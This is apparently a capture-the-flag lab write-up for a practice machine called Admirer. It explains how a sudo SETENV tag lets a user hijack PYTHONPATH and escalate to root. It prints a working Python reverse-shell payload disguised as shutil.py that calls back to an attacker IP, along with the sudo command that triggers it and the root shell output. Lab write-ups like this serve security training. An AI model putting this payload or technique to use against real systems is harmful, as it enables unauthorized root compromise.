Python Library Hijacking
the assessment of the target system revealed a critical security risk arising from the application of the setenv tag assigned to the
waldo
user as part of sudo privileges.
this configuration grants the user the ability to propagate environment variables for the sudo-privileged command. While use of the SETENV tag comes at convenience, it carries a significant drawback.
One of the functions in the admin_tasks.sh
file invokes an external Python script, seemingly innocent at a glance as it only performs a straightforward backup operation on the web root directory. However, the presence of the SETENV tag, assigned to the waldo
user as part of sudo privileges, introduces a critical security risk. This tag enables the user to pass down environment variables, including the PYTHONPATH
variable, which dictates the location and loading order of Python libraries.
Hijacking PYTHONPATH
waldo@admirer:/opt/scripts$ python3 -c "import sys; print('\n'.join(x for x in sys.path if x))"
/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages
Given the Python script uses python3, the command above can be used to print out the PYTHONPATH
variable with the correct loading order
waldo@admirer:/opt/scripts$ export PYTHONPATH=/var/tmp
waldo@admirer:/opt/scripts$ python3 -c "import sys; print('\n'.join(x for x in sys.path if x))"
/var/tmp
/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages
I can, as the waldo
user, modify the PYTHONPATH
variable
This alone is not a security concern as it can be done in any system
The issue lies with the SETENV tag in the sudo-privileged command, as it provides an avenue to effectively “hijack” the command execution with the altered PYTHONPATH
variable
Exploitation
Due to the presence of the root cronjob that is performing a system-wide wiping operation as well as the unusual behavior in the /dev/shm
directory, I will go with the /var/tmp
directory
waldo@admirer:/opt/scripts$ cat /var/tmp/shutil.py
import socket, subprocess, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def make_archive(x,y,z):
s.connect(("10.10.16.8", 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("sh")
The payload has been transferred and placed to the /var/tmp
directory
waldo@admirer:/opt/scripts$ sudo PYTHONPATH=/var/tmp -u root /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...
Executing the sudo-privileged command while passing the PYTHONPATH environment variable set to the /var/tmp
directory
This will call the backup_web
function in the admin_tasks.sh file, leading to invoke the backup.py
file, which then loads the malicious shutil library located at /var/tmp/shutil.py
┌──(kali㉿kali)-[~/archive/htb/labs/admirer]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.187] 47440
# whoami
whoami
root
# hostname
hostname
admirer
# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.187 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb9:1993 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:1993 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:19:93 txqueuelen 1000 (Ethernet)
RX packets 1949528 bytes 344785926 (328.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1809071 bytes 1005525966 (958.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 7354 bytes 726344 (709.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7354 bytes 726344 (709.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise